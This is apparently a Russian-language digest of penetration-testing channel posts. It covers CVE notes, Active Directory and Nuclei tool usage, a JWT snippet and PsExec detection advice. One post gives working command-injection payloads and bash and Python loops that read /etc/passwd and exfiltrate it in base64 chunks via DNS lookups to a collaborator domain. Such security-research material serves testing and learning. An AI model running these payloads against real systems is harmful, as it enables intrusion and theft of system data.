Fsecurity | HH

🧑‍💻 Этичный хакер

🔗Ссылка: https://www.securitylab.ru/news/556592.php

🔗Ссылка: https://www.securitylab.ru/news/556480.php

SSRF в C2 Sliver Teamserver CVE-2025-27090 Affected versions: >= 1.5.26, <= 1.5.42 Patched versions: 1.5.43 Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]

🔗Ссылка: https://habr.com/ru/post/806175/

🔗Ссылка: https://www.securitylab.ru/news/556556.php

🔄 💻 Adalanche v2025.2.6 Обновление отличного кроссплатформенного инструмента для визуализации, построения графов, связей и исследования Active Directory. Даст мгновенные результаты, показывая, какие разрешения имеют пользователи и группы в 💻 AD. Полезен для изучения того, кто может управлять учетными записями, машинами или всем доменом, и может использоваться для поиска и отображения неправильных конфигураций. Покажет проблемы делегирования, AD CS и многое другое. Проект активно развивается. Написан на 💻 Отличия от 😉 BloodHound:

Не требуется Neo4J, Python Не требуется предварительной настройки Для построения запросов используется расширенный LDAP синтаксис Наличие бесплатной и коммерческой версии

Машина в домене:

adalanche.exe collect activedirectory

Машина не в домене:

adalanche.exe collect activedirectory --ignorecert --domain contoso.local --authdomain CONTOSO --username dom_user --password P@ssw0rd

Будет создана папка data Анализ:

adalanche.exe analyze

💻 Github 💻 Documentation ➡️ Commercial version #adalanche #golang #soft #activedirectory ✈️ Pentest HaT

🔗Ссылка: https://www.securitylab.ru/news/556552.php

Интеграция ИИ в Nuclei В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов. Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:

nuclei -auth

И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:

nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dast

Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров. Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:

-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions."
-ai "Detect exposed .git repositories and sensitive files"
-ai "Identify default credentials on login pages"
-ai "Identify open FTP servers allowing anonymous access"  

В общем ждем, когда ИИ будет топ 1 на хакерване. #nuclei #ai

Открылся бесплатный набор в 🎓 PFS Academy! Успевайте! Все на нашем Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

🔗Ссылка: https://opennet.ru/62747/

⚙️Онлайн инструменты для работы с JWT JSON Web Token - специальный формат токена, который позволяет безопасно(в идеале 😁) передавать данные между клиентом и сервером. Состоит из трёх частей: заголовок, пейлоад и подпись ➡️Мой любимый - https://token.dev ➡️По классике - https://jwt.io ➡️Еще неплохой вариант ➡️Отдельно декодер для Flask Session Cookie Пример простейшей реализации на Python 🐍

import json
import hmac
import hashlib
import base64
import uuid

header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = str(uuid.uuid4())


def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
    jwt_parts = []
    json_header = json.dumps(header).encode()
    json_payload = json.dumps(payload).encode()
    jwt_parts.append(base64.urlsafe_b64encode(json_header))
    jwt_parts.append(base64.urlsafe_b64encode(json_payload))

    merge_payload_header = b'.'.join(jwt_parts)

    signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
    jwt_parts.append(base64.urlsafe_b64encode(signature))

    return b'.'.join(jwt_parts)

print(f'Secret: {secret}')
print(jwt_gen(header, payload, secret))

#jwt #token #flask #python ✈️ Pentest HaT

🔗Ссылка: https://habr.com/ru/articles/883342/

🔗Ссылка: https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide

🔗Ссылка: https://www.securitylab.ru/news/556518.php

Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:

name=val`ping -с 1 $(whoami).collaborator`ue

Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:

Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.

Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования: Получение части от вывода команды Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене

`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`

Чтение всего файла по частям Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)

bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'

Данный bash я делал по ранее написанному python-коду:

import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
    for lineNumber, line in enumerate(file, 1):
        encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
        parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

        for part, chunk in enumerate(parts, 1):
            os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
            time.sleep(delay)

Также попутно хочу поделиться полезными ссылками по этой теме: - https://notsosecure.com/out-band-exploitation-oob-cheatsheet - https://github.com/dhmosfunk/DNSEXFIL - https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9 P.S. Если base64 не катит, то просто поменяйте на hex

🔗Ссылка: https://habr.com/ru/companies/ussc/articles/878340

Открылся бесплатный набор в 🎓 PFS Academy! Успевайте! Все на нашем Discord сервер 👆🏻Тут можно пообщаться и найти много полезной информации 🦈

На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного. Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря. В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexecsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы. При реализации детекта нужно учитывать следующее: 1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver* 2) Имя сервиса (PSEXECSVC) может быть изменено 3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего 4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698 5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде). Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/ #psexec #impacket

⚙️ Wazuh — Unsafe Deserialization RCE (CVE-2025-24016) An unsafe deserialization vulnerability in Wazuh servers allows remote code execution through unsanitized dictionary injection in DAPI requests/responses. If an attacker injects an unsanitized dictionary into a DAPI request or response, they can craft an unhandled exception, allowing arbitrary Python code execution. 🔗 Source: https://github.com/0xjessie21/CVE-2025-24016 #wazuh #deserialization #rce #cve